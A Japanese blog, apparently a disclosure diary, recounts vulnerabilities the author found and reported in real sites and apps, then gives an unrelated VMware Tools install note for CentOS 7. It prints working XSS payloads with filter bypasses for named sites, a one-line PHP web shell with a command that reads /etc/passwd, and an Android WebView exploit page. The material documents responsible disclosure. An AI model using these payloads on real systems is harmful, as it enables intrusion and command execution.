そもそも、何も対策をしないと脆弱性になってしまうという意味で、POSTをクロスサイトで送れるというHTTPの仕様が間違いだと思うのだけど、今さら変えられないのだろうな……。

2日目 BuzzNews

BuzzNews

著作権侵害で炎上したキュレーションサービス。反省して(?)画像を直リンするようになったけど、最近は元に戻っている。

エスケープが全くされていなかったので、下記のURLでクロスサイトスクリプティングが可能だった。

http://buzznews.asia/tag/%3Cscript%3Ealert%28location%29%3C/script%3E

修正されたけど、<title>の部分はエスケープがされないままだった。このURLそのままでは動作しないけど、次のように<title>を閉じるとスクリプトが動作した。報告するときはエスケープされていない箇所全てでスクリプトが動作するように工夫するべきなのかもしれない。

http://buzznews.asia/tag/%3C/title%3E%3Cscript%3Ealert%28location%29%3C/script%3E

クロスサイトスクリプティングの悪用方法

ウィキペディアに書いてあるように、クッキーを奪取すれば、ログインしているユーザーに成り代わって(パスワードの再入力が不要な事なら)何でもできる。クッキーがHTTP onlyで奪取が無理でも、ページの内容を読み取って外部に送信したり、ユーザーの代わりにリクエストを送ったりできる。

一方で、BuzzNewsのようにユーザーが見るだけのサイトの場合、できることがあまり無い。「このサイトは閉鎖しました」と偽の掲示をするくらいだろうか。実は鬼の首をとったかのように騒ぐことではないのかもしれない。

セキュリティ過敏症 - ぼくはまちちゃん!(Hatena)

3日目 東北大学生協

東北大学生協

一言カードのページで「TEAS'TEA」と検索したら、検索結果の欄が真っ白になった。検索結果が無い場合は、真っ白ではなく、無いと表示される。SQLインジェクションのようで、下手に突っついてDBが飛んだりしたらマズいので、余計な事はしないでIPAに報告した。

クロスサイトリクエストフォージェリが可能で、ちょうどクロスサイトフォージェリによる遠隔操作での冤罪が話題になっていた時期だったのでこれも報告したけど、脆弱性ではないということだった。

4日目 某割れサイト

某割れサイトに、このアップローダーが設置されていた。配布サイトには

扱えるファイルの種類についての制限はありません。単なる画像アップローダとは違い様々な作業で利用できる反面危険ですので各種パスワードは信頼できる相手(共同運営者等)以外には知らせずに運用してください。

という注意書きがあるのに、アップロードが可能なパスワードもサイトに書いてあった。

任意のファイルがアップロードできるので、拡張子が.phpのファイルをアップロードすると、スクリプトがそのまま実行できる。スクリプトをいちいち書き換えるのが面倒ならば、

<?php
passthru($_GET['cmd']);

というファイルをアップロードしておけば、

http://example.com/uploader/files/attack.php?cmd=cat%20/etc/passwd

のようにして好きなコマンドを実行できる。

5日目 ヨドバシAndroidアプリ)

ヨドバシ(Androidアプリ)

WebViewに関する脆弱性HTTPSの証明書検証に関する脆弱性の2個。

WebViewに関する脆弱性

Androidで最も作り込みやすい脆弱性だと思う。このスライドが詳しい。要するに、addJavaScriptInterfaceというメソッドによってWebView中のJavaScriptAndroid側のクラスにアクセスできるようになる。呼び出されていることを想定しているメソッドだけが呼び出されるのかと思いきや、contextが取れて、結局そのアプリが持っている権限で好きなことができる。

でも、ヨドバシのアプリってヨドバシのページしか表示しないよね?→ページ内にTwitterとかはてなブックマークがあって、ヨドバシのページ以外も表示できた。そこから攻撃者が用意したページまで辿り着く人なんてまずいないだろうけど。

バイブレーターを動かす攻撃コード。ヨドバシの場合は local_objJavaScript側に追加されるオブジェクト。

<!DOCTYPE html>
<html>
  <head>
    <title>Yodobashi Exploit</title>
  </head>
  <body>
    <pre>
<script type="text/javascript">
//  http://pastebin.com/1TyU7TT0
var loader = local_obj.getClass().getClassLoader();
var util = loader.loadClass("android.webkit.JniUtil");
var field = util.getDeclaredField("sContext");
field.setAccessible(true);
var context = field.get(util);
var cvib = loader.loadClass("android.os.Vibrator");
var vib = cvib.cast(context.getSystemService("vibrator"))
vib.vibrate(1000);
</script>
    </pre>
  </body>
</html>

HTTPSの証明書検証

HTTPSでエラーが発生しても無視して続行していた。これでは攻撃者が中間者攻撃でオレオレ証明書を送り込んでも検知できない。Burp Suiteか何かをPCにインストールして、Androidのプロキシに設定すると確認できる。

public void onReceivedSslError(WebView paramWebView, SslErrorHandler paramSslErrorHandler, SslError paramSslError)
{
    paramSslErrorHandler.proceed();
}

6日目 拡散性ミリオンアーサーAndroid版)

拡散性ミリオンアーサー(Android版)

バイナリエディタ/sdcard/Android/data/com.square_enix.million/files/save/appdata/save_appdata を開いたらパスワードが見えた。Windowsではどこに保存したところで他のアプリから見えてしまうけど、Androidでは他のアプリから見えないようにできるので、見えないようにするべき。アプリの領域ではなく、SDカードに保存すると他のアプリから見えてしまう。古いAndroidではSDカードの読み取りに何の権限も要らない。

f:id:kusano_k:20141206013252p:plain

昔は、READ_PHONE_STATE(IMEIとか電話番号の取得)が要求されていて、再インストールしてもパスワードが要求されなかったので、IMEIで認証していたのかもしれない。詳しく調べていないので分からない。IMEIは他のアプリからの取得可能なので、認証に使うべきではない。

7日目 WordPressを使った某ブログ

WordPressを使ったとあるブログで、 /wp-config.php.bak が閲覧可能になっていた。 /wp-config.php~/wp-config.php.swp もうっかり残る可能性があるので危険。

8日目 teratail

teratail

質問がMarkdown記法が使えるけれど、ここでXSSができた。あくまで、プレビューで動いただけで、投稿したときにもスクリプトが動くのかは分からない。

画像。

![説明][WIDTH:600](hogehoge.jpg)

<img src="/uploads/contributed_images/hogehoge.jpg" width="600" alt="説明">

に変換される。

!["><script>alert(location)</script>](0)

<img src="0" alt=""><script>alert(location)</script>">

になってスクリプトが動いた。報告したら修正されたけど、たしか、<>をエスケープするという対応だったので、

!["onerror="alert(location)][WIDTH:100](hoge)

と書き込むと、

<img src="hoge" width="100" alt=""onerror="alert(location)">

となって、スクリプトが動いた。これも修正されたけど、onerrorなどの文字列を無害な文字列に置換するという対応だった。https://teratail.com/js/frontend/question_editor.jsに名残が残っている。

    var token_escape = function(out) {
        if(typeof out === 'string') {
            out = out.replace(/\t/g, '    ');
            out = out.replace(/&/g, '&amp;');
            out = out.replace(/&lt;/g, '&amp;lt;');
            out = out.replace(/&gt;/g, '&amp;gt;');
            out = out.replace(/&nbsp;/g, '&amp;nbsp;');

            out = out.replace(/</g, '&lt;');
            out = out.replace(/>/g, '&gt;');
            out = out.replace(/"/g, '&quot;');
            out = out.replace(/'/g, '&apos;');
            out = out.replace(/ /g, '&nbsp;');
            out = out.replace(/\\/g, '&#92;');
            //out = out.replace(/on(Blur|Focus|Change|Select|SelectStart|Submit|Reset|Abort|Error|Load|Unload|Click|DblClick|KeyUp|KeyDown|KeyPress|MouseOut|MouseOver|MouseUp|MouseDown|MouseMove)/gi, 'on<!-->$1');
        }

        return out;
    }

これでは、例えば、onmouseenterを使うと回避できる。今では正しく"がエスケープされている。

脆弱性を指摘するときに、修正方法も言うべきなのかもしれないが、差し出がましいし、「お前の言う通りに直したけど脆弱性が残ったぞ( ゚Д゚)ゴルァ!」ということになりそうな気もする。

リンク。

[click](http://example.com)

が、

<a href="http://example.com">click</a>

に変換される。

[XSS](javascript:alert(location&#x29;)

と書き込むと

<a href="javascript:alert(location&#x29;">XSS</a>

に変換される。リンクをクリックするとteratail.comのオリジンでスクリプトが動く。)が使えないけど、属性値の中ならば実体参照が使える。

あと、CSRFが可能だった。

9日目 独立行政法人 水資源機構

独立行政法人 水資源機構

http://www.water.go.jp/cgi-bin/wl-enq/enq.cgi?id=waterWL-Enqが設置されていた(Internet Archive)。WL-Enqには任意のコードを実行可能な脆弱性がある。

WL-Enqの脆弱性 - kusano_kの日記

21日目 togetter

togetter

'+alert(location)+'検索する'がエスケープされずにJavaScriptの文字列中に埋め込まれ、次のHTMLが出力されていた。

<script type="text/javascript" charset="utf-8"> var pageOptions = {
 'pubId': 'pub-1379083136098030',
 'query': ''+alert(location)+'',
 'hl': 'ja',
}

f:id:kusano_k:20141221004304p:plain

現在も、'はエスケープされないけど、文字列が"で括られるようになっている。

HTML中のJavaScript中の文字列を動的に生成するのは面倒くさいし危険。

  • <script>中ではHTMLエスケープをしない、onclickなどのイベントハンドラ中ではHTMLエスケープする
  • サーバーからの出力時にHTMLエスケープをしているという前提で、innerHTMLにそのまま突っ込むと、\x3c<になる
  • 同じく\をエスケープしていないと、var x='【入力A】', y='【入力B】'に対して、var x='aaa\', y=';alert(location)//';という攻撃ができる
  • エンコードとブラウザによっては後ろの文字を消せるので、↑と同様のことができる。参照
  • 改行をエスケープしないとエラーになる。改行は\nだけではない。参照

動的に生成する部分はJavaScriptではなくHTML中に書き出すのが良いと思う。これならば、HTMLのエスケープをするだけで良い。

<span id="param" style="display:none">hoge&lt;&gt;'"\
bbb
</span>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
<script>
var x = $("#param").text();
alert(x);
</script>

jQueryを使っていない場合は、

var x = document.getElementById("param").textContent;

が正しそうだけど、古いIEでは動かない。どうするのが一番良いのだろう?

追記

ありがとうございます!

もしくは、URLエンコードすればだいたい大丈夫らしい。

25日目 ksnctf

ksnctf

私のサイト。普通のサイトで脆弱性を突くと怒られるけど、このサイトのctfq.sweetduet.infoの問題で指定されたポートならば構わないので、お楽しみください。

クロスサイトリクエストフォージェリ

最初の頃は何も対策をしていなかったので、他人にフラグを投稿させることが可能だった。解いた問題を解いていないことにする機能は無いので、勝手に解いたことにされると残念。

安全なWebアプリケーションの作り方のオススメに従って、セッションIDをそのままトークンにしているけど、止めたほうが良さそう。

アクセス制限不備

各種データの保存にSQLiteを使っているけれど、データベースファイルにウェブからアクセス可能だった。これはひどい。問題の答えと、他人が問題を解いた時刻が分かってしまう(ログには日付までしか出していない)状態だった。Twitterから返ってくるアクセストークンとシークレットを保存していなくて良かった。これがあると非公開の人のツイートが読めてしまう。

攻略用サーバーのアカウントの制限不備

一部の問題sshでログインして解くようになっている。また、任意のコードが実行できる問題もある。このような問題で変なことをされると困るので、次の制限をかけている。

  • 問題ごとに別にユーザーを作る。各問題のファイルのアクセス権限を適切に設定すれば他の問題を横から解くことができなくなる
  • ホームディレクトリ中のファイルの所有者をrootにしてパーミッションを落とす。これによって、他人が解いたときのコマンド履歴が見られなくなるし、~/.bashrcに悪戯されることも防げる(※)
  • /tmpのリード権限を落とす。これによってファイルの一覧が取得できなくなるので、他人が解いている途中のファイルを見ることができなくなる
  • これらの仮想環境の中で動かし、仮想環境を動かしているホスト側のユーザーの外向きのネットワーク接続を制限する。仮想マシンのrootが取られても、他に迷惑がかからないように。仮想マシンがやたらと重いのは、さくらのVPSの上で動いているマシンの上で仮想環境が動いていて、CPUの仮想化支援が効いていないから。ちなみに、最近のXeonなら「仮想化のネスティング」ができるらしい

これで充分かと思いきや、(※)のところに穴があった。

本人に話を訊いたところ「chshコマンドとかもマズいんじゃない?」と教えてもらったので、とりあえずsuidが付いているコマンドは全部パーミッションを落とした。

Linuxの脆弱性でrootを取ることも可能だった

そういえば、脆弱性なのか仕様なのか、想定外の解き方で、ユーザーには所有権が手に入らず読み取りも不可のファイルが、所有者はそのままでコピーされていたことがあった。cp -pで所有者を維持したままのコピーはできるけど、コピーするユーザーに読み取り権限がないと無理なはず。誰か方法を知っていたらこっそり教えてください。

CentOS 7にVMWare Toolsをインストールしてファイル共有を使う

一週間悩んだのでメモ。

open-vm-toolsをインストールしてみる

VMWare ToolsのOSS実装があるらしい。yumでインストールできる。これで上手く行けば一番楽。動かなかったのでアンインストール。

[root@localhost user]# yum install open-vm-tools
[root@localhost user]# yum remove open-vm-tools

必要なパッケージのインストール

Minimalでインストールして、ほとんど何も入っていないので、以降の手順で必要なものをインストール。kernel-develはバージョン番号を指定する必要があるらしい。

[root@localhost user]# yum install perl gcc net-tools kernel-devel-$(uname -r)

VMWare Toolsのインストール

open-vm-toolsではダメだったので、普通にVMWare Toolsをインストールする。

VMWareのメニューから、管理 → VMWare Toolsのインストール

[root@localhost user]# mount /dev/cdrom /mnt/cdrom
[root@localhost user]# tar zxvf /mnt/cdrom/VMwareTools-9.6.2-1688356.tar.gz
[root@localhost user]# vmware-tools-distrib/vmware-install.pl
[root@localhost user]# rm -rf vmware-tools-distrib/

選択肢は全てデフォルト。途中で↓のようなエラーが出てコンパイルに失敗するが、とりあえず最後まで進める。

In file included from /tmp/modconfig-M45vq5/vmhgfs-only/inode.c:36:0:
/tmp/modconfig-M45vq5/vmhgfs-only/inode.c: 関数 ‘HgfsPermission’ 内:
/tmp/modconfig-M45vq5/vmhgfs-only/./shared/compat_dcache.h:57:38: エラー: ‘struct dentry’ は ‘d_count’ という名前のメンバを持っていません
 #define compat_d_count(dentry) dentry->d_count
                                      ^
/tmp/modconfig-M45vq5/vmhgfs-only/inode.c:1904:23: 備考: in expansion of macro ‘compat_d_count’
          int dcount = compat_d_count(dentry);
                       ^

ソースの修正

Workstation 10.0.3 and Centos 7 Guest Tools | VMware Communities

を参考にファイル共有用のドライバのソースを修正する。

[root@localhost user]# cd /lib/vmware-tools/modules/source/
[root@localhost source]# tar xvf vmhgfs.tar
[root@localhost source]# chmod u+w vmhgfs-only/shared/compat_dcache.h
[root@localhost source]# vi vmhgfs-only/shared/compat_dcache.h

54行目の

#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 11, 0)

#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)

に書き換える。

[root@localhost source]# chmod u-w vmhgfs-only/shared/compat_dcache.h
[root@localhost source]# tar cvf vmhgfs.tar vmhgfs-only
[root@localhost source]# rm -rf vmhgfs-only

再インストール

[root@localhost source]# /bin/vmware-config-tools.pl

これでインストールが通れば良い。 管理 → 仮想マシン設定 → オプション → 共有フォルダ でフォルダを追加する。/mnt/hgfs/にこのフォルダが見えていれば成功。